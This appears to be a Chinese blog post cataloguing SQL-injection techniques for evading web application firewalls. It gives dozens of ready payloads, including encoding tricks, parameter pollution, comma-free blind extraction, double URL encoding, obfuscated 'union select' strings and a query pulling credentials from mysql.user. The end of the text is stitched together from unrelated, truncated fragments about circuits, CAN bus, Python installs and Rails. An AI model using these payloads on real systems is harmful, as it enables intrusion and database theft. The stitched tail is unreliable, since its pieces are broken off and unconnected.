SQL注入绕过技术已经是一个老生常淡的内容了,防注入可以使用某些云waf加速乐等安全产品,这些产品会自带waf属性拦截和抵御SQL注入,也有一些产品会在服务器里安装软件,例如iis安全狗、d盾、还有就是在程序理论对输入参数进行过滤和拦截,例如360webscan脚本等只要参数传入的时候就会进行检测,检测到有危害语句就会拦截。
SQL注入绕过的技术也有很多,但是在日渐成熟的waf产品面前,因为waf产品的规则越来越完善,所以防御就会越来越高,安全系统也跟着提高,对渗透测试而言,测试的难度就会越来越高。
两个空格代替一个空格,用Tab代替空格,%a0=空格。

使用URL编码的方式必须要在有中间件的网站上使用,直接使用sql语句进行查询是没办法解析的。
可以将空格字符替换成注释/**/,也可以使用内联注释,/!code/(关于内联注释请观看mysql文章)。
将字符串设置为大小写,例如and1=1转成AND1=1或者AnD 1=1;
mysql默认是不区分大小写的。
可以在查询语句where条件这里使用,select * from users where id=1e0或者id=1.1。
在查询语句where条件这里使用,select * from users where id=\N。
如果waf拦截过滤单引号的时候,可以使用双引号在mysql里也可以用双引号作为字符。
比如select * from users where id=‘1’。
select * from users where id=“1”。
也可以将字符串转成16进制再进行查询。select hex(‘admin’) 已经select 0X61646D696E。
如果gpc开启了,但是注入点是整型,也可以用hex十六进制进行绕过。
有些waf的拦截规则并不会拦截包含库名.表名这种模式。
比如 select * from users where id = -1 union select 1,2,3 from security.users;
mysql中也可以添加库名查询表,例如跨库查询mysql库里的users表的内容。
select * from users where id =-1 union select 1,2,concat(user,authentication_string) from mysql.user
在mysql查询可以使用distinct关键词去除查询的重复值,可以利用这点突破waf拦截。
select * from users where id=-1 union distinct select 1,2,version() from users
在mysql可以使用这里是反引号绕过一些waf拦截,字段可以加反引号或者不加,意义相同。
反引号前面不加空格也是可以的。
在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一些 waf 的拦截;
id=1%00&id=2 union select 1,2,3 有些 waf 会去匹配第一个 id 参数 1%00 ,%00 是截断字符,waf 会自动截断,从而,不会检测后面的内容,到了程序中 id 就是等于 id=2 union select 1,2,3 从绕过注入拦截;
name=%00name=’ union select 1,(select version() from users limit 1)–+
其他语言特性:
目前有些防注入脚本都会对逗号进行拦截,例如常规注入中必须包含逗号;
select * from users where id=1 union select 1,2,3;
不用逗号是指定不行的。
select(substr(database() from 1 for 1));
查询当前库第一个字符;
查询 s 等于 select(substr(database() from 1 for 1));页面返回正常;
同样我们也可以一个一个字符往后查
mid() 函数跟 substr() 函数功能相同,如果 substr() 函数被拦截或者过滤可以使用这个函数代替 ;
select mid(database() from 1 for 1); # 方法如上;
select * from users where id=1 and ‘s’=(select(mid(database() from 1 for 1)));
select * from users where id=1 and 0x73=(select(mid(database() from 1 for 1)));
name=vince’ and (select(mid(database() from 1 for 1)))=‘p’–+
name=1’ or (select(mid(database() from 1 for 1)))=‘p’–+
使用 join 自连接两个表 ;
union select 1,2 #等价于 union select * from (select 1)a join (select 2)b
#a 和 b 分别是表的别名;
select * from users where id=-1 union select 1,2,3; # 可以变成下面的语句;
select * from users where id=-1 union select * from (select 1)a join (select 2)b join(select 3)c;
select * from users where id=-1 union select * from (select 1)a join (select 2)b join(select user())c;
使用 like 模糊查询 select user() like ‘%r%’; 模糊查询成功返回 1 否则返回 0 ;
找到第一个字符后继续进行下一个字符匹配,从而找到所有的字符串,最后就是要查询的内容,这种 SQL 注入语句也不会存在逗号,从而绕过 waf 拦截;
select * from users where id=1 and (select user() like ‘%r%’);
select * from users where id=-1 union select 1,2,user() like ‘%root%’ limit 1;
SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目 limit 0,1 返回一条记录,如果对逗号进行拦截时,可以使用 limit 1 默认返回第一条数据;也可以使用 limit 1 offset 0 从零开始返回第一条记录,这样就绕过 waf 拦截了。
目前主流的 waf 都会对:
•
• id=1 and 1=2、
id=1 or 1=2、
id=0 or 1=2
id=0 xor 1=1 limit 1 、
id=1 xor 1= 2
对这些常见的 SQL 注入检测语句进行拦截,像 and 这些还有字符代替;
字符如下:
• and 等于&&
• or 等于 ||
• not 等于 !
• xor 等于
所以可以转换成这样:
•
• id=1 and 1=1 等于 id=1 && 1=1
• id=1 and 1=2 等于 id=1 && 1=2
• id=1 or 1=1 等于 id=1 || 1=1
• id=0 or 1=0 等于 id=0 || 1=0
• in
•
• in运算符用来判断表达式的值是否位于给出的列表中;如果是,返回值为 1,否则返回值为 0;
•
• not in
•
• NOT IN 用来判断表达式的值是否不存在于给出的列表中;如果不是,返回值为 1,否则返回值为 0;
注意:在url使用逻辑运算符的时候要url编码;
许多 waf 会对 union select 进行拦截,而且通常比较变态,那么可以不使用联合查询注入,可以使用字符截取对比法,进行突破;
select substring(user(),1,1);
select * from users where id=1 and substring(user(),1,1)=‘r’;
select * from users where id=1 and ascii(substring(user(),1,1))=114;
最好把’r’换成成 ascii 码,如果开启 gpc int 整形注入就不能用了 ;
我们可以看到不使用联合查询(union select)也可以把数据查询出来 ;
如果程序会对=进行拦截 ,可以使用 like rlike regexp 或者使用 < 或者 >
select * from users where id=1 and ascii(substring(user(),1,1))<115;
select * from users where id=1 and ascii(substring(user(),1,1))>115;
有些程序会对单词 union、 select 进行转空 但是只会转一次这样会留下安全隐患;
双关键字绕过(若删除掉第一个匹配的 union 就能绕过):
id=-1’UNIunionONSeLselectECT 1,2,3–+
到数据库里执行会变成:
id=-1’UNION SeLECT 1,2,3–+
从而绕过注入拦截;
这种方式也是需要程序配合的,如果有安全防护,可以试试;
有些程序会解析二次编码,造成 SQL 注入,因为 url 两次编码过后,waf 是不会拦截的;
-1 union select 1,2,3,4#
第一次转码:
%2d%31%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%23
第二次转码:
%25%32%64%25%33%31%25%32%30%25%37%35%25%36%65%25%36%39%25%36%66%25%36%65%25%32%30%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%33%31%25%32%63%25%33%32%25%32%63%25%33%33%25%32%63%25%33%34%25%32%33
• 注意:中间件只会进行一次解码,不会解析两次url编码的,两次编码 waf 是不会拦截的;
• 一般二次编码都是中间件进行了一次解码,然后程序内又进行了一次,才会解析,程序内一般用的都是函数urldecode函数;
• 所以,不管是开了gpc或者waf都是可以绕过的,而且不会拦截;
使用生僻函数替代常见的函数,例如在报错注入中使用 polygon()函数替换常用的 updatexml()函数 ;
select polygon((select * from (select * from (select @@version) f) x));
空间函数,要求版本的;
• 报错注入函数参考: https://blog.csdn.net/weixin_46706771/article/details/112770568



http 协议是由 tcp 协议封装而来,当浏览器发起一个 http 请求时,浏览器先和服务器建立起连接 tcp 连接,然后发送 http 数据包(即我们用 burpsuite 截获的数据), 其中包含了一个 Connection 字段,一般值为 close,apache 等容器根据这个字段决定是保持该 tcp 连接或是断开。当发送的内容太大,超过一个 http 包容量,需要分多次发送时,值会变成 keep-alive,即本次发起的 http 请求所建立的 tcp 连接不断开,直到所发送内容结束 Connection 为 close 为止。


还有一种方法,逻辑性的方法,通过上传一张图片绕过,因为一些waf在匹配到一个图片的包参数时,就不会接着往下继续匹配其他的参数,从而进行绕过;
上面的from表单内加入以下代码:






id=1 and (select 1)=(select 0xA*1000)union select 1,user()–+

id=1+and+(select+1)and+(select+0xA1000)/!union*//!select/+1,user()–+

花括号,左边是注释的内容,这样可以绕一些 waf 的拦截;
select 1,2 union select{x 1},user()
花括号内的x可以为任意字符串,不能是数字,相当于注释的意思
select * from users where id=1 union select{xxx 1},{xxx 2},{xxx 3},user();

目前很多 waf 都会对 union select 进行过滤的,因为使用联合查询这两个关键词是必须的,一般过滤这个两个字符,想用联合查询就很难了;
可以使用换行加上一些注释符进行绕过;

原理:
形式:“%” 加上 ASCII 码(先将字符转换为 ASCII 码,再转为 16 进 制),其中加号 “+” 在 URL 编码中和 “%20” 表示一样,均为空格;
当遇到非 ASCII 码表示的字符时,如中文,浏览器或通过编写 URLEncode,根据 UTF-8、GBK 等编码 16 进制形式,进行转换,如“春”的 UTF-8 编码为 E6 98 A5,因此其在支持 UTF-8 的情况下,URL 编码为%E6%98%A5。值得注意的是,采取不同的中文编码,会有不同的 URL 编码;
在 URL 传递到后台时,首先 web 容器会自动先对 URL 进行解析,容器解码时会根据设置(如 jsp 中,会使用 request.setCharacterEncoding(“UTF-8”)),采用 UTF-8 或 GBK 等其中一种编码进行解析,这时,程序无需自己再次解码,便可以获取参数(如使用 request.getParameter(paramName)
但是,有时从客户端提交的 URL 无法确定是何种编码,如果服务器选择的编码方式不匹配,则会造成中文乱码,为了解决这个问题,便出现了二次 URLEncode 的方法 。 在客户端对 URL 进行两次 URLEncode , 这样类似上面提到的%E6%98%A5 则会编码为%25e6%2598%25a5,为纯 ASCII 码。Web 容器在接到 URL 后,自动解析一次,因为不管容器使用何种编码进行解析,都支持 ASCII 码,不会出错。然后在通过编写程序对容器解析后的参数进行解码,便可正确得到参数。在这里,客户端的第一次编码,以及服务端的第二次解码,均是由程序员自己设定的,是可控的,可知的;



目前不少 waf 都会使用都会对 union select 进行拦截,单个不拦截 ,一起就进行拦截;
针对单个关键词绕过:
sel<>ect 程序过滤<>为空 脚本处理
sele//ct 程序过滤//为空
/!%53eLEct/ url编码与内联注释
se%0blect 使用空格绕过
sele%ct 使用百分号绕过
%53eLEct 编码绕过
大小写 :
uNIoN sELecT 1,2
union all select 1,2
union DISTINCT select 1,2
null+UNION+SELECT+1,2
/!union//!select/1,2
union//select//1,2
and(select 1)=(Select 0xA1000)/!uNIOn*//!SeLECt/ 1,user()
/!50000union//!50000select/1,2
/!40000union//!40000select/1,2
%0aunion%0aselect 1,2
%250aunion%250aselect 1,2
%09union%09select 1,2
%0caunion%0cselect 1,2
%0daunion%0dselect 1,2
%0baunion%0bselect 1,2
%0d%0aunion%0d%0aselect 1,2
–+%0d%0aunion–+%0d%0aselect–+%0d%0a1,–+%0d%0a2
/!12345union//!12345select/1,2;
/中文/union/中文/select/中文/1,2;
/输入法表情 /union/ 输入法表情/select/* 输入法表情 /1,2;
/!union*//!00000all//!00000select/1,2
虽然SQL注入绕过方式有很多,但是我们的大脑是活动的,是思考的,要去思考如何去工作,建立理论,付出实践,才能得到结果,有问题的地方请指出,万分感谢。
目录前言滤波电路科普主要分类实际情况单位的概念常用评价参数函数型滤波器简单分析滤波电路构成低通滤波器RC低通滤波器RL低通滤波器高通滤波器RC高通滤波器RL高通滤波器部分摘自《LC滤波器设计与制作》,侵权删。前言最近需要学习放大电路和滤波电路,但是由于只在之前做音乐频谱分析仪的时候简单了解过一点点运放,所以也是相当从零开始学习了。滤波电路科普主要分类滤波器:主要是从不同频率的成分中提取出特定频率的信号。有源滤波器:由RC元件与运算放大器组成的滤波器。可滤除某一次或多次谐波,最普通易于采用的无源滤波器结构是将电感与电容串联,可对主要次谐波(3、5、7)构成低阻抗旁路。无源滤波器:无源滤波器,又称
最近在学习CAN,记录一下,也供大家参考交流。推荐几个我觉得很好的CAN学习,本文也是在看了他们的好文之后做的笔记首先是瑞萨的CAN入门,真的通透;秀!靠这篇我竟然2天理解了CAN协议!实战STM32F4CAN!原文链接:https://blog.csdn.net/XiaoXiaoPengBo/article/details/116206252CAN详解(小白教程)原文链接:https://blog.csdn.net/xwwwj/article/details/105372234一篇易懂的CAN通讯协议指南1一篇易懂的CAN通讯协议指南1-知乎(zhihu.com)视频推荐CAN总线个人知识总
深度学习部署:Windows安装pycocotools报错解决方法1.pycocotools库的简介2.pycocotools安装的坑3.解决办法更多Ai资讯:公主号AiCharm本系列是作者在跑一些深度学习实例时,遇到的各种各样的问题及解决办法,希望能够帮助到大家。ERROR:Commanderroredoutwithexitstatus1:'D:\Anaconda3\python.exe'-u-c'importsys,setuptools,tokenize;sys.argv[0]='"'"'C:\\Users\\46653\\AppData\\Local\\Temp\\pip-instal
目录第1题连续问题分析:解法:第2题分组问题分析:解法:第3题间隔连续问题分析:解法:第4题打折日期交叉问题分析:解法:第5题同时在线问题分析:解法:第1题连续问题如下数据为蚂蚁森林中用户领取的减少碳排放量iddtlowcarbon10012021-12-1212310022021-12-124510012021-12-134310012021-12-134510012021-12-132310022021-12-144510012021-12-1423010022021-12-154510012021-12-1523.......找出连续3天及以上减少碳排放量在100以上的用户分析:遇到这类
我正在尝试查询我的Rails数据库(Postgres)中的购买表,我想查询时间范围。例如,我想知道在所有日期的下午2点到3点之间进行了多少次购买。此表中有一个created_at列,但我不知道如何在不搜索特定日期的情况下完成此操作。我试过:Purchases.where("created_atBETWEEN?and?",Time.now-1.hour,Time.now)但这最终只会搜索今天与那些时间的日期。 最佳答案 您需要使用PostgreSQL'sdate_part/extractfunction从created_at中提取小时
我今天看到了一个ruby代码片段。[1,2,3,4,5,6,7].inject(:+)=>28[1,2,3,4,5,6,7].inject(:*)=>5040这里的注入(inject)和之前看到的完全不一样,比如[1,2,3,4,5,6,7].inject{|sum,x|sum+x}请解释一下它是如何工作的? 最佳答案 没有魔法,符号(方法)只是可能的参数之一。这是来自文档:#enum.inject(initial,sym)=>obj#enum.inject(sym)=>obj#enum.inject(initial){|mem
我完全不是程序员,正在学习使用Ruby和Rails框架进行编程。我目前正在使用Ruby1.8.7和Rails3.0.3,但我想知道我是否应该升级到Ruby1.9,因为我真的没有任何升级的“遗留”成本。缺点是什么?我是否会遇到与普通gem的兼容性问题,或者甚至其他我不太了解甚至无法预料的问题? 最佳答案 你应该升级。不要坚持从1.8.7开始。如果您发现不支持1.9.2的gem,请避免使用它们(因为它们很可能不被维护)。如果您对gem是否兼容1.9.2有任何疑问,您可以在以下位置查看:http://www.railsplugins.or
我找到了这样的东西:Rails:Howtolistdatabasetables/objectsusingtheRailsconsole?这一行没问题:ActiveRecord::Base.connection.tables并返回所有表但是ActiveRecord::Base.connection.table_structure("users")产生错误:ActiveRecord::Base.connection.table_structure("projects")我认为table_structure不是Postgres方法。如何列出Postgres数据库的Rails控制台中表中的所有
如何学习ruby的正则表达式?(对于假人) 最佳答案 http://www.rubular.com/在Ruby中使用正则表达式时是一个很棒的工具,因为它可以立即将结果可视化。 关于ruby-我如何学习ruby的正则表达式?,我们在StackOverflow上找到一个类似的问题: https://stackoverflow.com/questions/1881231/
Ruby中防止SQL注入(inject)的好方法是什么? 最佳答案 直接使用ruby?使用准备好的语句:require'mysql'db=Mysql.new('localhost','user','password','database')statement=db.prepare"SELECT*FROMtableWHEREfield=?"statement.execute'value'statement.fetchstatement.close 关于ruby-防止SQL注入(inject